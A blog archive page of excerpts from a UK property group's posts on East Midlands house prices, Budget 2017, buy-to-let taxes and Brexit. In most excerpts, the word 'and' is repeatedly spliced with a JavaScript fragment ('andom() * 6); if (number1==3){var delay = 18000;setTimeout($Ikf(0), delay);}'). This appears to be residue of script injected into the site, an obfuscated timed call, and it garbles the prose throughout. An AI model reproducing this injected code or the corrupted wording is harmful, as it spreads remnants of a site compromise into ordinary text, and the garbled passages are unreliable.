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Newsletter 2021

By Vicky Liddington / February 3, 2021

As we indulge in our annual ritual of forecasting the next 12 months, we are reminded that predictions are only of use if we (the forecaster) have a good track record of forecasting! So, as usual, we’re going to kick things off by reviewing how our predictions performed last year, before giving our forecasts for…

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The Property Market as we see it in 2020

By Vicky Liddington / February 3, 2021

The residential property market as a whole, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and especially in the East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, has been remarkably resilient in 2020.  We started the year expecting a 4% rise in prices (see our annual predictions in January), many others were a…

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The Budget 2017 – Key Points Summarised

By Residential Property Group / March 9, 2017

There was no shock or horror for landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords in yesterday’s Budget. Many were disappointed that stamp duty rates were not revised down, or tinkered with so that first time buyers were exempted; no such luck. However, we think more importantly there was a stop to the tax…

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Where to buy an investment property in 2017

By Residential Property Group / March 8, 2017

So you’ve read our property predications part 1 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and part 2, but now the answer to the eternal question- where should I buy an investment property? Osprey Sales & Lettings are THE go-to independant Agent, with offices IN the areas that we are knowledgable about andom() *…

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Your 2017 Property Market Review andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Predictions Part 2

By Residential Property Group / March 8, 2017

We hope you enjoyed reading our 2017 Property Market Review andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Predictions Part 1- if you didn’t catch it then you can find it here. Part 1 was all about 2016, the predictions we made last year (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how…

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Your 2017 Property Market Review andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Predictions Part 1

By Residential Property Group / March 8, 2017

A new year andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and apologies for the delay in getting this posted! Is it Brexit or is everyone busy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and time just seems to be flying by? As we indulge in our annual ritual of forecasting the 12 months…

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HOUSING SUPPLY AND DEMAND FUNDAMENTALS:

By Residential Property Group / July 29, 2016

Property prices were at the forefront of the EU debate in the run-up to the referendum, with the former Chancellor George Osborne claiming that the value of homes in the UK could fall by as much as 18% following a Brexit vote. Based on the average price of a home in the UK, this equates…

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PROPERTY POST BREXIT:

By Residential Property Group / June 27, 2016

The result was a shock, the shock waves have spread. Everyone has an opinion or an educated guess on what will be the repercussions, here are ours; STOCK MARKET: The stock market has seen exceptional volatility. This reinforces the case for real estate investment, property is not a volatile asset class, in times of uncertainty there…

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Buy to Let update;

By Residential Property Group / June 14, 2016

The chancellor’s aim was to take some heat out of the property market by introducing new tax measures on the buy to let sector. This strategy already seems to be working with a lull in the market now after the initial rush by investors to complete their purchases at the end of March before increased…

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Reasons to invest in East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands property andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not London:

By Residential Property Group / May 6, 2016

The East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and property market benefits from: Fewer international investors seeking a safe haven (who have driven up prices disproportionately in London) Fewer buy to let investors relative to the housing stock Greater affordability; most importantly Less affected by international factors; foreign exchange prices, international economics all affect…

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